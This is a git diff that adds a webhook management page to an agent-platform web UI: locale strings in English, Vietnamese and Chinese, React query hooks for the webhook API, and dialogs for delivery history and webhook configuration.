a/ui/web/src/i18n/locales/en/sidebar.json +++ b/ui/web/src/i18n/locales/en/sidebar.json @@ -16,6 +16,7 @@ "sessions": "Sessions", "pendingMessages": "Pending Messages", "channels": "Channels", + "webhooks": "Webhooks", "contacts": "Contacts", "skills": "Skills", "cron": "Cron", diff --git a/ui/web/src/i18n/locales/en/webhooks.json b/ui/web/src/i18n/locales/en/webhooks.json new file mode 100644 index 00000000..4cf42dfe --- /dev/null +++ b/ui/web/src/i18n/locales/en/webhooks.json @@ -0,0 +1,151 @@ +{ + "title": "Webhooks", + "description": "Inbound HTTP webhooks that trigger an agent (LLM) or send a channel message.", + "addWebhook": "Create Webhook", + "searchPlaceholder": "Search webhooks...", + "showRevoked": "Show revoked", + "emptyTitle": "No webhooks", + "emptyDescription": "Create your first webhook to expose an agent or channel over HTTP.", + "neverUsed": "Never used", + "kind": { + "llm": "LLM", + "message": "Message" + }, + "status": { + "active": "Active", + "revoked": "Revoked" + }, + "columns": { + "name": "Name", + "webhookId": "Webhook ID", + "kind": "Kind", + "target": "Target", + "status": "Status", + "lastUsed": "Last used", + "actions": "Actions" + }, + "actions": { + "test": "Test", + "calls": "Delivery history", + "edit": "Edit", + "rotate": "Rotate secret", + "revoke": "Revoke" + }, + "form": { + "createTitle": "Create Webhook", + "editTitle": "Edit Webhook", + "description": "Configure how this webhook authenticates and what it triggers.", + "name": "Name", + "namePlaceholder": "e.g. CRM lead handler", + "kind": "Kind", + "messageStandardOnly": "Standard edition only", + "agent": "Agent", + "agentPlaceholder": "Select an agent", + "agentHint": "Required to invoke and test an LLM webhook.", + "none": "None", + "channel": "Channel", + "channelPlaceholder": "Select a channel", + "channelAny": "Any (specify per request)", + "rateLimit": "Rate limit (requests / minute)", + "ipAllowlist": "IP allowlist", + "ipAllowlistPlaceholder": "e.g. 203.0.113.0/24, 198.51.100.7", + "ipAllowlistHint": "Comma-separated IPs or CIDRs. Empty allows all.", + "requireHmac": "Require HMAC", + "requireHmacHint": "Reject bearer-token auth; require signed requests only.", + "localhostOnly": "Localhost only", + "localhostOnlyHint": "Only accept requests from 127.0.0.1 / ::1.", + "localhostOnlyLite": "Forced on in Lite edition.", + "cancel": "Cancel", + "create": "Create", + "save": "Save", + "saving": "Saving..." + }, + "secret": { + "title": "Webhook secret", + "description": "Copy these values now — they are shown only once.", + "warning": "This secret will not be shown again. Store it securely.", + "webhookId": "Webhook ID (X-Webhook-Id header)", + "bearer": "Secret (Bearer token)", + "hmacKey": "HMAC signing key", + "copy": "Copy", + "copied": "Copied", + "usageHint": "Send the secret as 'Authorization: Bearer ', or sign requests with the HMAC key.", + "done": "Done" + }, + "test": { + "title": "Test webhook: {{name}}", + "description": "Invoke this webhook server-side using your admin session (no secret needed).", + "messageWarning": "This sends a real message to the target chat.", + "channelName": "Channel name", + "channelNamePlaceholder": "telegram-main", + "input": "Input", + "inputPlaceholder": "Enter a prompt to send to the agent", + "chatId": "Chat ID", + "chatIdPlaceholder": "Recipient chat identifier", + "content": "Content", + "result": "Result", + "sent": "Sent to {{channel}} (chat {{chatId}})", + "run": "Send test", + "running": "Sending...", + "close": "Close", + "failed": "Test failed" + }, + "calls": { + "title": "Delivery history: {{name}}", + "description": "Recent invocations of this webhook.", + "statusAll": "All statuses", + "status": { + "queued": "Queued", + "running": "Running", + "done": "Done", + "failed": "Failed", + "dead": "Dead" + }, + "cols": { + "status": "Status", + "mode": "Mode", + "attempts": "Attempts", + "created": "Created", + "detail": "Detail" + }, + "emptyTitle": "No deliveries yet", + "emptyDescription": "Calls to this webhook will appear here.", + "noMore": "No more calls.", + "page": "Page {{page}}", + "prev": "Previous", + "next": "Next" + }, + "callDetail": { + "title": "Delivery detail", + "description": "Full record of a single webhook invocation.", + "loading": "Loading...", + "deliveryId": "Delivery ID", + "idempotencyKey": "Idempotency key", + "callbackUrl": "Callback URL", + "created": "Created", + "started": "Started", + "completed": "Completed", + "nextAttempt": "Next attempt", + "lastError": "Last error", + "requestPayload": "Request payload", + "response": "Response" + }, + "rotate": { + "title": "Rotate secret", + "description": "Rotating invalidates the current secret for \"{{name}}\". A new secret will be shown once." + }, + "revoke": { + "title": "Revoke webhook", + "description": "Revoking permanently disables \"{{name}}\". This cannot be undone." + }, + "toast": { + "created": "Webhook created", + "updated": "Webhook updated", + "secretRotated": "Secret rotated", + "revoked": "Webhook revoked", + "failedCreate": "Failed to create webhook", + "failedUpdate": "Failed to update webhook", + "failedRotate": "Failed to rotate secret", + "failedRevoke": "Failed to revoke webhook" + } +} diff --git a/ui/web/src/i18n/locales/vi/sidebar.json b/ui/web/src/i18n/locales/vi/sidebar.json index 12376030..1b4fedfe 100644 --- a/ui/web/src/i18n/locales/vi/sidebar.json +++ b/ui/web/src/i18n/locales/vi/sidebar.json @@ -16,6 +16,7 @@ "sessions": "Session", "pendingMessages": "Tin nhắn chờ", "channels": "Channel", + "webhooks": "Webhook", "contacts": "Liên hệ", "skills": "Skill", "cron": "Tác vụ định kỳ", diff --git a/ui/web/src/i18n/locales/vi/webhooks.json b/ui/web/src/i18n/locales/vi/webhooks.json new file mode 100644 index 00000000..899bd3cc --- /dev/null +++ b/ui/web/src/i18n/locales/vi/webhooks.json @@ -0,0 +1,151 @@ +{ + "title": "Webhook", + "description": "Webhook HTTP đến để gọi agent (LLM) hoặc gửi tin nhắn qua channel.", + "addWebhook": "Tạo Webhook", + "searchPlaceholder": "Tìm webhook...", + "showRevoked": "Hiện đã thu hồi", + "emptyTitle": "Chưa có webhook", + "emptyDescription": "Tạo webhook đầu tiên để mở agent hoặc channel qua HTTP.", + "neverUsed": "Chưa dùng", + "kind": { + "llm": "LLM", + "message": "Tin nhắn" + }, + "status": { + "active": "Hoạt động", + "revoked": "Đã thu hồi" + }, + "columns": { + "name": "Tên", + "webhookId": "Webhook ID", + "kind": "Loại", + "target": "Đích", + "status": "Trạng thái", + "lastUsed": "Dùng gần nhất", + "actions": "Thao tác" + }, + "actions": { + "test": "Kiểm thử", + "calls": "Lịch sử gọi", + "edit": "Sửa", + "rotate": "Xoay secret", + "revoke": "Thu hồi" + }, + "form": { + "createTitle": "Tạo Webhook", + "editTitle": "Sửa Webhook", + "description": "Cấu hình cách webhook xác thực và việc nó kích hoạt.", + "name": "Tên", + "namePlaceholder": "vd: Xử lý lead CRM", + "kind": "Loại", + "messageStandardOnly": "Chỉ bản Standard", + "agent": "Agent", + "agentPlaceholder": "Chọn agent", + "agentHint": "Bắt buộc để gọi và kiểm thử webhook LLM.", + "none": "Không", + "channel": "Channel", + "channelPlaceholder": "Chọn channel", + "channelAny": "Bất kỳ (chỉ định khi gọi)", + "rateLimit": "Giới hạn (request / phút)", + "ipAllowlist": "Danh sách IP cho phép", + "ipAllowlistPlaceholder": "vd: 203.0.113.0/24, 198.51.100.7", + "ipAllowlistHint": "IP hoặc CIDR, cách nhau bằng dấu phẩy. Để trống cho phép tất cả.", + "requireHmac": "Bắt buộc HMAC", + "requireHmacHint": "Từ chối xác thực bearer token; chỉ chấp nhận request đã ký.", + "localhostOnly": "Chỉ localhost", + "localhostOnlyHint": "Chỉ chấp nhận request từ 127.0.0.1 / ::1.", + "localhostOnlyLite": "Bị bật cố định ở bản Lite.", + "cancel": "Hủy", + "create": "Tạo", + "save": "Lưu", + "saving": "Đang lưu..." + }, + "secret": { + "title": "Secret của webhook", + "description": "Sao chép các giá trị này ngay — chỉ hiển thị một lần.", + "warning": "Secret này sẽ không hiển thị lại. Hãy lưu trữ an toàn.", + "webhookId": "Webhook ID (header X-Webhook-Id)", + "bearer": "Secret (Bearer token)", + "hmacKey": "Khóa ký HMAC", + "copy": "Sao chép", + "copied": "Đã chép", + "usageHint": "Gửi secret qua 'Authorization: Bearer ', hoặc ký request bằng khóa HMAC.", + "done": "Xong" + }, + "test": { + "title": "Kiểm thử webhook: {{name}}", + "description": "Gọi webhook phía máy chủ bằng phiên admin của bạn (không cần secret).", + "messageWarning": "Thao tác này gửi tin nhắn thật đến chat đích.", + "channelName": "Tên channel", + "channelNamePlaceholder": "telegram-main", + "input": "Đầu vào", + "inputPlaceholder": "Nhập prompt gửi cho agent", + "chatId": "Chat ID", + "chatIdPlaceholder": "Định danh chat người nhận", + "content": "Nội dung", + "result": "Kết quả", + "sent": "Đã gửi tới {{channel}} (chat {{chatId}})", + "run": "Gửi thử", + "running": "Đang gửi...", + "close": "Đóng", + "failed": "Kiểm thử thất bại" + }, + "calls": { + "title": "Lịch sử gọi: {{name}}", + "description": "Các lần gọi gần đây của webhook này.", + "statusAll": "Tất cả trạng thái", + "status": { + "queued": "Chờ", + "running": "Đang chạy", + "done": "Xong", + "failed": "Lỗi", + "dead": "Bỏ" + }, + "cols": { + "status": "Trạng thái", + "mode": "Chế độ", + "attempts": "Số lần", + "created": "Tạo lúc", + "detail": "Chi tiết" + }, + "emptyTitle": "Chưa có lần gọi nào", + "emptyDescription": "Các lần gọi webhook này sẽ hiển thị ở đây.", + "noMore": "Không còn lần gọi nào.", + "page": "Trang {{page}}", + "prev": "Trước", + "next": "Sau" + }, + "callDetail": { + "title": "Chi tiết lần gọi", + "description": "Bản ghi đầy đủ của một lần gọi webhook.", + "loading": "Đang tải...", + "deliveryId": "Delivery ID", + "idempotencyKey": "Idempotency key", + "callbackUrl": "Callback URL", + "created": "Tạo lúc", + "started": "Bắt đầu", + "completed": "Hoàn tất", + "nextAttempt": "Lần thử kế", + "lastError": "Lỗi gần nhất", + "requestPayload": "Payload request", + "response": "Phản hồi" + }, + "rotate": { + "title": "Xoay secret", + "description": "Xoay sẽ vô hiệu secret hiện tại của \"{{name}}\". Secret mới sẽ hiển thị một lần." + }, + "revoke": { + "title": "Thu hồi webhook", + "description": "Thu hồi sẽ vô hiệu vĩnh viễn \"{{name}}\". Không thể hoàn tác." + }, + "toast": { + "created": "Đã tạo webhook", + "updated": "Đã cập nhật webhook", + "secretRotated": "Đã xoay secret", + "revoked": "Đã thu hồi webhook", + "failedCreate": "Tạo webhook thất bại", + "failedUpdate": "Cập nhật webhook thất bại", + "failedRotate": "Xoay secret thất bại", + "failedRevoke": "Thu hồi webhook thất bại" + } +} diff --git a/ui/web/src/i18n/locales/zh/sidebar.json b/ui/web/src/i18n/locales/zh/sidebar.json index ccf70ca9..c290fbac 100644 --- a/ui/web/src/i18n/locales/zh/sidebar.json +++ b/ui/web/src/i18n/locales/zh/sidebar.json @@ -15,6 +15,7 @@ "importExport": "Import & Export", "builtinTools": "内置工具", "channels": "Channel", + "webhooks": "Webhook", "contacts": "联系人", "chat": "对话", "config": "配置", diff --git a/ui/web/src/i18n/locales/zh/webhooks.json b/ui/web/src/i18n/locales/zh/webhooks.json new file mode 100644 index 00000000..4c7effc8 --- /dev/null +++ b/ui/web/src/i18n/locales/zh/webhooks.json @@ -0,0 +1,151 @@ +{ + "title": "Webhook", + "description": "用于触发智能体（LLM）或发送频道消息的入站 HTTP Webhook。", + "addWebhook": "创建 Webhook", + "searchPlaceholder": "搜索 Webhook...", + "showRevoked": "显示已吊销", + "emptyTitle": "暂无 Webhook", + "emptyDescription": "创建第一个 Webhook，通过 HTTP 暴露智能体或频道。", + "neverUsed": "从未使用", + "kind": { + "llm": "LLM", + "message": "消息" + }, + "status": { + "active": "启用", + "revoked": "已吊销" + }, + "columns": { + "name": "名称", + "webhookId": "Webhook ID", + "kind": "类型", + "target": "目标", + "status": "状态", + "lastUsed": "最近使用", + "actions": "操作" + }, + "actions": { + "test": "测试", + "calls": "调用历史", + "edit": "编辑", + "rotate": "轮换密钥", + "revoke": "吊销" + }, + "form": { + "createTitle": "创建 Webhook", + "editTitle": "编辑 Webhook", + "description": "配置此 Webhook 的鉴权方式及触发内容。", + "name": "名称", + "namePlaceholder": "例如：CRM 线索处理", + "kind": "类型", + "messageStandardOnly": "仅 Standard 版本", + "agent": "智能体", + "agentPlaceholder": "选择智能体", + "agentHint": "调用和测试 LLM Webhook 时必填。", + "none": "无", + "channel": "频道", + "channelPlaceholder": "选择频道", + "channelAny": "任意（按请求指定）", + "rateLimit": "速率限制（请求 / 分钟）", + "ipAllowlist": "IP 白名单", + "ipAllowlistPlaceholder": "例如：203.0.113.0/24, 198.51.100.7", + "ipAllowlistHint": "以逗号分隔的 IP 或 CIDR。留空则允许全部。", + "requireHmac": "强制 HMAC", + "requireHmacHint": "拒绝 Bearer 令牌鉴权，仅接受签名请求。", + "localhostOnly": "仅本地", + "localhostOnlyHint": "仅接受来自 127.0.0.1 / ::1 的请求。", + "localhostOnlyLite": "Lite 版本中强制开启。", + "cancel": "取消", + "create": "创建", + "save": "保存", + "saving": "保存中..." + }, + "secret": { + "title": "Webhook 密钥", + "description": "请立即复制这些值——它们仅显示一次。", + "warning": "此密钥不会再次显示，请妥善保存。", + "webhookId": "Webhook ID（X-Webhook-Id 请求头）", + "bearer": "密钥（Bearer 令牌）", + "hmacKey": "HMAC 签名密钥", + "copy": "复制", + "copied": "已复制", + "usageHint": "通过 'Authorization: Bearer ' 发送密钥，或使用 HMAC 密钥签名请求。", + "done": "完成" + }, + "test": { + "title": "测试 Webhook：{{name}}", + "description": "使用您的管理员会话在服务端调用此 Webhook（无需密钥）。", + "messageWarning": "此操作会向目标聊天发送真实消息。", + "channelName": "频道名称", + "channelNamePlaceholder": "telegram-main", + "input": "输入", + "inputPlaceholder": "输入发送给智能体的提示词", + "chatId": "聊天 ID", + "chatIdPlaceholder": "接收方聊天标识", + "content": "内容", + "result": "结果", + "sent": "已发送至 {{channel}}（聊天 {{chatId}}）", + "run": "发送测试", + "running": "发送中...", + "close": "关闭", + "failed": "测试失败" + }, + "calls": { + "title": "调用历史：{{name}}", + "description": "此 Webhook 的最近调用。", + "statusAll": "全部状态", + "status": { + "queued": "排队中", + "running": "运行中", + "done": "完成", + "failed": "失败", + "dead": "已废弃" + }, + "cols": { + "status": "状态", + "mode": "模式", + "attempts": "尝试次数", + "created": "创建时间", + "detail": "详情" + }, + "emptyTitle": "尚无调用", + "emptyDescription": "对此 Webhook 的调用将显示在此处。", + "noMore": "没有更多调用。", + "page": "第 {{page}} 页", + "prev": "上一页", + "next": "下一页" + }, + "callDetail": { + "title": "调用详情", + "description": "单次 Webhook 调用的完整记录。", + "loading": "加载中...", + "deliveryId": "Delivery ID", + "idempotencyKey": "幂等键", + "callbackUrl": "回调 URL", + "created": "创建时间", + "started": "开始时间", + "completed": "完成时间", + "nextAttempt": "下次重试", + "lastError": "最近错误", + "requestPayload": "请求载荷", + "response": "响应" + }, + "rotate": { + "title": "轮换密钥", + "description": "轮换将使 \"{{name}}\" 的当前密钥失效。新密钥仅显示一次。" + }, + "revoke": { + "title": "吊销 Webhook", + "description": "吊销将永久禁用 \"{{name}}\"，且无法撤销。" + }, + "toast": { + "created": "已创建 Webhook", + "updated": "已更新 Webhook", + "secretRotated": "已轮换密钥", + "revoked": "已吊销 Webhook", + "failedCreate": "创建 Webhook 失败", + "failedUpdate": "更新 Webhook 失败", + "failedRotate": "轮换密钥失败", + "failedRevoke": "吊销 Webhook 失败" + } +} diff --git a/ui/web/src/lib/query-keys.ts b/ui/web/src/lib/query-keys.ts index 46470119..c5dc15de 100644 --- a/ui/web/src/lib/query-keys.ts +++ b/ui/web/src/lib/query-keys.ts @@ -71,6 +71,11 @@ export const queryKeys = { detail: (id: string) => ["hooks", id] as const, history: (id: string) => ["hooks", id, "history"] as const, }, + webhooks: { + all: ["webhooks"] as const, + calls: (id: string, params: Record) => ["webhooks", id, "calls", params] as const, + call: (id: string, callId: string) => ["webhooks", id, "calls", callId] as const, + }, builtinTools: { all: ["builtinTools"] as const, }, diff --git a/ui/web/src/lib/routes.ts b/ui/web/src/lib/routes.ts index 3715f5ed..acb1150c 100644 --- a/ui/web/src/lib/routes.ts +++ b/ui/web/src/lib/routes.ts @@ -47,6 +47,7 @@ export const ROUTES = { SELECT_TENANT: "/select-tenant", HOOKS: "/hooks", HOOK_DETAIL: "/hooks/:id", + WEBHOOKS: "/webhooks", WORKSTATIONS: "/workstations", WORKSTATION_DETAIL: "/workstations/:id", } as const; diff --git a/ui/web/src/pages/webhooks/hooks/use-webhooks.ts b/ui/web/src/pages/webhooks/hooks/use-webhooks.ts new file mode 100644 index 00000000..5d24ec8b --- /dev/null +++ b/ui/web/src/pages/webhooks/hooks/use-webhooks.ts @@ -0,0 +1,137 @@ +import { useCallback } from "react"; +import { useQuery, useQueryClient } from "@tanstack/react-query"; +import i18next from "i18next"; +import { useHttp } from "@/hooks/use-ws"; +import { queryKeys } from "@/lib/query-keys"; +import { toast } from "@/stores/use-toast-store"; +import type { + WebhookData, + WebhookCreateInput, + WebhookCreateResponse, + WebhookUpdateInput, + WebhookRotateResponse, + WebhookCallData, + WebhookCallDetail, + WebhookTestInput, + WebhookTestResult, +} from "@/types/webhook"; + +export function useWebhooks() { + const http = useHttp(); + const queryClient = useQueryClient(); + + const { data: webhooks = [], isLoading: loading } = useQuery({ + queryKey: queryKeys.webhooks.all, + queryFn: () => http.get("/v1/webhooks"), + staleTime: 60_000, + }); + + const invalidate = useCallback( + () => queryClient.invalidateQueries({ queryKey: queryKeys.webhooks.all }), + [queryClient], + ); + + const createWebhook = useCallback( + async (data: WebhookCreateInput): Promise => { + try { + const res = await http.post("/v1/webhooks", data); + await invalidate(); + toast.success(i18next.t("webhooks:toast.created")); + return res; + } catch (err) { + toast.error(i18next.t("webhooks:toast.failedCreate"), err instanceof Error ? err.message : ""); + throw err; + } + }, + [http, invalidate], + ); + + const updateWebhook = useCallback( + async (id: string, data: WebhookUpdateInput): Promise => { + try { + await http.patch(`/v1/webhooks/${id}`, data); + await invalidate(); + toast.success(i18next.t("webhooks:toast.updated")); + } catch (err) { + toast.error(i18next.t("webhooks:toast.failedUpdate"), err instanceof Error ? err.message : ""); + throw err; + } + }, + [http, invalidate], + ); + + const rotateSecret = useCallback( + async (id: string): Promise => { + try { + const res = await http.post(`/v1/webhooks/${id}/rotate`, {}); + await invalidate(); + toast.success(i18next.t("webhooks:toast.secretRotated")); + return res; + } catch (err) { + toast.error(i18next.t("webhooks:toast.failedRotate"), err instanceof Error ? err.message : ""); + throw err; + } + }, + [http, invalidate], + ); + + const revokeWebhook = useCallback( + async (id: string): Promise => { + try { + await http.delete(`/v1/webhooks/${id}`); + await invalidate(); + toast.success(i18next.t("webhooks:toast.revoked")); + } catch (err) { + toast.error(i18next.t("webhooks:toast.failedRevoke"), err instanceof Error ? err.message : ""); + throw err; + } + }, + [http, invalidate], + ); + + const testWebhook = useCallback( + (id: string, body: WebhookTestInput): Promise => + http.post(`/v1/webhooks/${id}/test`, body), + [http], + ); + + return { webhooks, loading, refresh: invalidate, createWebhook, updateWebhook, rotateSecret, revokeWebhook, testWebhook }; +} + +export function useWebhookCalls( + id: string | null, + status: string, + enabled: boolean, + limit: number, + offset: number, +) { + const http = useHttp(); + const params = { status, limit, offset }; + + const { data = [], isLoading: loading, isFetching, refetch } = useQuery({ + queryKey: queryKeys.webhooks.calls(id ?? "", params), + queryFn: () => { + const q: Record = { limit: String(limit), offset: String(offset) }; + if (status) q.status = status; + return http.get(`/v1/webhooks/${id}/calls`, q); + }, + enabled: enabled && !!id, + placeholderData: (prev) => prev, + staleTime: 10_000, + }); + + return { calls: data, loading, isFetching, refetch }; +} + +export function useWebhookCallDetail(webhookId: string | null, callId: string | null) { + const http = useHttp(); + + const { data, isLoading: loading } = useQuery({ + queryKey: queryKeys.webhooks.call(webhookId ?? "", callId ?? ""), + queryFn: () => http.get(`/v1/webhooks/${webhookId}/calls/${callId}`), + enabled: !!webhookId && !!callId, + staleTime: 30_000, + }); + + return { detail: data ?? null, loading }; +} diff --git a/ui/web/src/pages/webhooks/webhook-call-detail-dialog.tsx b/ui/web/src/pages/webhooks/webhook-call-detail-dialog.tsx new file mode 100644 index 00000000..e0213a04 --- /dev/null +++ b/ui/web/src/pages/webhooks/webhook-call-detail-dialog.tsx @@ -0,0 +1,113 @@ +import { useTranslation } from "react-i18next"; +import { + Dialog, + DialogContent, + DialogHeader, + DialogTitle, + DialogDescription, +} from "@/components/ui/dialog"; +import { Badge } from "@/components/ui/badge"; +import { useWebhookCallDetail } from "./hooks/use-webhooks"; +import type { WebhookCallDetail } from "@/types/webhook"; + +const STATUS_VARIANT: Record = { + queued: "secondary", + running: "outline", + done: "default", + failed: "destructive", + dead: "destructive", +}; + +// Pretty-print a JSON string; fall back to the raw text if it isn't JSON. +function prettyJSON(s?: string): string { + if (!s) return ""; + try { + return JSON.stringify(JSON.parse(s), null, 2); + } catch { + return s; + } +} + +function fmt(iso?: string): string { + return iso ? new Date(iso).toLocaleString() : "—"; +} + +interface Props { + webhookId: string | null; + callId: string | null; + onClose: () => void; +} + +export function WebhookCallDetailDialog({ webhookId, callId, onClose }: Props) { + const { t } = useTranslation("webhooks"); + const { detail, loading } = useWebhookCallDetail(webhookId, callId); + + const Field = ({ label, value, mono }: { label: string; value?: string; mono?: boolean }) => ( +
+
{label}
+
{value || "—"}
+
+ ); + + return ( + !open && onClose()}> + + + {t("callDetail.title")} + {t("callDetail.description")} + + + {loading || !detail ? ( +

{t("callDetail.loading")}

+ ) : ( +
+
+
+
{t("calls.cols.status")}
+ + {t(`calls.status.${detail.status}`)} + +
+ + + + + + + + + +
+ + {detail.last_error && ( +
+
{t("callDetail.lastError")}
+
+ {detail.last_error} +
+
+ )} + + {detail.request_payload && ( +
+
{t("callDetail.requestPayload")}
+ 
+                  {prettyJSON(detail.request_payload)}
+
+
+ )} + + {detail.response && ( +
+
{t("callDetail.response")}
+ 
+                  {prettyJSON(detail.response)}
+
+
+ )} +
+ )} + + + ); +} diff --git a/ui/web/src/pages/webhooks/webhook-calls-dialog.tsx b/ui/web/src/pages/webhooks/webhook-calls-dialog.tsx new file mode 100644 index 00000000..210be879 --- /dev/null +++ b/ui/web/src/pages/webhooks/webhook-calls-dialog.tsx @@ -0,0 +1,182 @@ +import { useEffect, useState } from "react"; +import { useTranslation } from "react-i18next"; +import { RefreshCw, ChevronLeft, ChevronRight } from "lucide-react"; +import { + Dialog, + DialogContent, + DialogHeader, + DialogTitle, + DialogDescription, +} from "@/components/ui/dialog"; +import { Button } from "@/components/ui/button"; +import { Badge } from "@/components/ui/badge"; +import { + Select, + SelectContent, + SelectItem, + SelectTrigger, + SelectValue, +} from "@/components/ui/select"; +import { EmptyState } from "@/components/shared/empty-state"; +import { Inbox } from "lucide-react"; +import { formatRelativeTime } from "@/lib/format"; +import { useWebhookCalls } from "./hooks/use-webhooks"; +import { WebhookCallDetailDialog } from "./webhook-call-detail-dialog"; +import type { WebhookData, WebhookCallData } from "@/types/webhook"; + +const STATUS_VARIANT: Record = { + queued: "secondary", + running: "outline", + done: "default", + failed: "destructive", + dead: "destructive", +}; + +const ALL = "__all__"; +const PAGE_SIZE = 20; + +interface Props { + webhook: WebhookData | null; + onClose: () => void; +} + +export function WebhookCallsDialog({ webhook, onClose }: Props) { + const { t } = useTranslation("webhooks"); + const [status, setStatus] = useState(ALL); + const [page, setPage] = useState(0); + const [detailCallId, setDetailCallId] = useState(null); + const effectiveStatus = status === ALL ? "" : status; + const { calls, isFetching, refetch } = useWebhookCalls( + webhook?.id ?? null, + effectiveStatus, + !!webhook, + PAGE_SIZE, + page * PAGE_SIZE, + ); + + // Reset to first page when the target webhook or status filter changes. + useEffect(() => { + setPage(0); + }, [webhook?.id, status]); + + // No total count from the API → infer "has more" from a full page. + const hasNext = calls.length === PAGE_SIZE; + const hasPrev = page > 0; + + return ( + <> + !open && onClose()}> + + + {t("calls.title", { name: webhook?.name ?? "" })} + {t("calls.description")} + + +
+ + +
+ +
+ {calls.length === 0 ? ( + page === 0 ? ( + + ) : ( +

{t("calls.noMore")}

+ ) + ) : ( +
+ + + + + + + + + + + + {calls.map((c) => ( + setDetailCallId(c.id)} + className="border-b last:border-0 align-top hover:bg-muted/30 cursor-pointer" + > + + + + + + + ))} + +
{t("calls.cols.status")}{t("calls.cols.mode")}{t("calls.cols.attempts")}{t("calls.cols.created")}{t("calls.cols.detail")}
+ + {t(`calls.status.${c.status}`)} + + {c.mode}{c.attempts} + {formatRelativeTime(c.created_at)} + + {c.last_error ? ( + {c.last_error} + ) : c.response ? ( + {c.response} + ) : ( + "—" + )} +
+
+ )} +
+ + {(hasPrev || hasNext) && ( +
+ {t("calls.page", { page: page + 1 })} +
+ + +
+
+ )} + + + + setDetailCallId(null)} + /> + + ); +} diff --git a/ui/web/src/pages/webhooks/webhook-form-dialog.tsx b/ui/web/src/pages/webhooks/webhook-form-dialog.tsx new file mode 100644 index 00000000..8083d7fa --- /dev/null +++ b/ui/web/src/pages/webhooks/webhook-form-dialog.tsx @@ -0,0 +1,152 @@ +import { useEffect, useState } from "react"; +import { useTranslation } from "react-i18next"; +import { Webhook as WebhookIcon } from "lucide-react"; +import { + Dialog, + DialogContent, + DialogHeader, + DialogTitle, + DialogFooter, + DialogDescription, +} from "@/components/ui/dialog"; +import { Button } from "@/components/ui/button"; +import { useAuthStore } from "@/stores/use-auth-store"; +import { useAgents } from "@/pages/agents/hooks/use-agents"; +import { useChannelInstances } from "@/pages/channels/hooks/use-channel-instances"; +import { NONE, WebhookFormFields } from "./webhook-form-fields"; +import type { WebhookData, WebhookKind, WebhookCreateInput, WebhookUpdateInput } from "@/types/webhook"; + +interface Props { + open: boolean; + onOpenChange: (open: boolean) => void; + editing: WebhookData | null; + onCreate: (input: WebhookCreateInput) => Promise; + onUpdate: (id: string, input: WebhookUpdateInput) => Promise; +} + +export function WebhookFormDialog({ open, onOpenChange, editing, onCreate, onUpdate }: Props) { + const { t } = useTranslation("webhooks"); + const edition = useAuthStore((s) => s.edition); + const isStandard = edition === "standard"; + const { agents } = useAgents(); + const { instances } = useChannelInstances({ limit: 200 }); + + const isEdit = !!editing; + + const [name, setName] = useState(""); + const [kind, setKind] = useState("llm"); + const [agentId, setAgentId] = useState(NONE); + const [channelId, setChannelId] = useState(NONE); + const [rateLimit, setRateLimit] = useState("60"); + const [ipAllowlist, setIpAllowlist] = useState(""); + const [requireHmac, setRequireHmac] = useState(false); + const [localhostOnly, setLocalhostOnly] = useState(!isStandard); + const [saving, setSaving] = useState(false); + + // Hydrate from the editing target (or reset to defaults on open). + useEffect(() => { + if (!open) return; + if (editing) { + setName(editing.name); + setKind(editing.kind); + setAgentId(editing.agent_id ?? NONE); + setChannelId(editing.channel_id ?? NONE); + setRateLimit(String(editing.rate_limit_per_min ?? 0)); + setIpAllowlist((editing.ip_allowlist ?? []).join(", ")); + setRequireHmac(editing.require_hmac); + setLocalhostOnly(editing.localhost_only); + } else { + setName(""); + setKind("llm"); + setAgentId(NONE); + setChannelId(NONE); + setRateLimit("60"); + setIpAllowlist(""); + setRequireHmac(false); + setLocalhostOnly(!isStandard); + } + }, [open, editing, isStandard]); + + const parseIpList = (s: string): string[] => + s.split(",").map((x) => x.trim()).filter(Boolean); + + const handleSubmit = async () => { + if (!name.trim()) return; + setSaving(true); + try { + const rate = parseInt(rateLimit, 10); + if (isEdit && editing) { + const update: WebhookUpdateInput = { + name: name.trim(), + channel_id: channelId === NONE ? undefined : channelId, + rate_limit_per_min: Number.isFinite(rate) ? rate : 0, + ip_allowlist: parseIpList(ipAllowlist), + require_hmac: requireHmac, + localhost_only: localhostOnly, + }; + await onUpdate(editing.id, update); + } else { + const create: WebhookCreateInput = { + name: name.trim(), + kind, + agent_id: kind === "llm" && agentId !== NONE ? agentId : undefined, + channel_id: kind === "message" && channelId !== NONE ? channelId : undefined, + rate_limit_per_min: Number.isFinite(rate) ? rate : undefined, + ip_allowlist: parseIpList(ipAllowlist), + require_hmac: requireHmac, + localhost_only: localhostOnly, + }; + await onCreate(create); + } + onOpenChange(false); + } finally { + setSaving(false); + } + }; + + return ( + + + + + + {isEdit ? t("form.editTitle") : t("form.createTitle")} + + {t("form.description")} + + + + + + + + + + + ); +} diff --git a/ui/web/src/pages/webhooks/webhook-form-fields.tsx b/ui/web/src/pages/webhooks/webhook-form-fields.tsx new file mode 100644 index 00000000..fcd050a0 --- /dev/null +++ b/ui/web/src/pages/webhooks/webhook-form-fields.tsx @@ -0,0 +1,192 @@ +import { useTranslation } from "react-i18next"; +import { Input } from "@/components/ui/input"; +import { Label } from "@/components/ui/label"; +import { Switch } from "@/components/ui/switch"; +import { + Select, + SelectContent, + SelectItem, + SelectTrigger, + SelectValue, +} from "@/components/ui/select"; +import type { WebhookKind } from "@/types/webhook"; + +export const NONE = "__none__"; + +interface AgentOption { + id: string; + display_name?: string | null; + agent_key: string; +} + +interface ChannelOption { + id: string; + display_name?: string | null; + name: string; +} + +interface Props { + isEdit: boolean; + isStandard: boolean; + name: string; + setName: (value: string) => void; + kind: WebhookKind; + setKind: (kind: WebhookKind) => void; + agentId: string; + setAgentId: (id: string) => void; + channelId: string; + setChannelId: (id: string) => void; + rateLimit: string; + setRateLimit: (value: string) => void; + ipAllowlist: string; + setIpAllowlist: (value: string) => void; + requireHmac: boolean; + setRequireHmac: (value: boolean) => void; + localhostOnly: boolean; + setLocalhostOnly: (value: boolean) => void; + agents: AgentOption[]; + instances: ChannelOption[]; +} + +export function WebhookFormFields({ + isEdit, + isStandard, + name, + setName, + kind, + setKind, + agentId, + setAgentId, + channelId, + setChannelId, + rateLimit, + setRateLimit, + ipAllowlist, + setIpAllowlist, + requireHmac, + setRequireHmac, + localhostOnly, + setLocalhostOnly, + agents, + instances, +}: Props) { + const { t } = useTranslation("webhooks"); + + return ( +
+
+ + setName(e.target.value)} + placeholder={t("form.namePlaceholder")} + maxLength={100} + className="text-base md:text-sm" + /> +
+ +
+ + +
+ + {kind === "llm" && ( +
+ + +

{t("form.agentHint")}

+
+ )} + + {kind === "message" && ( +
+ + +
+ )} + +
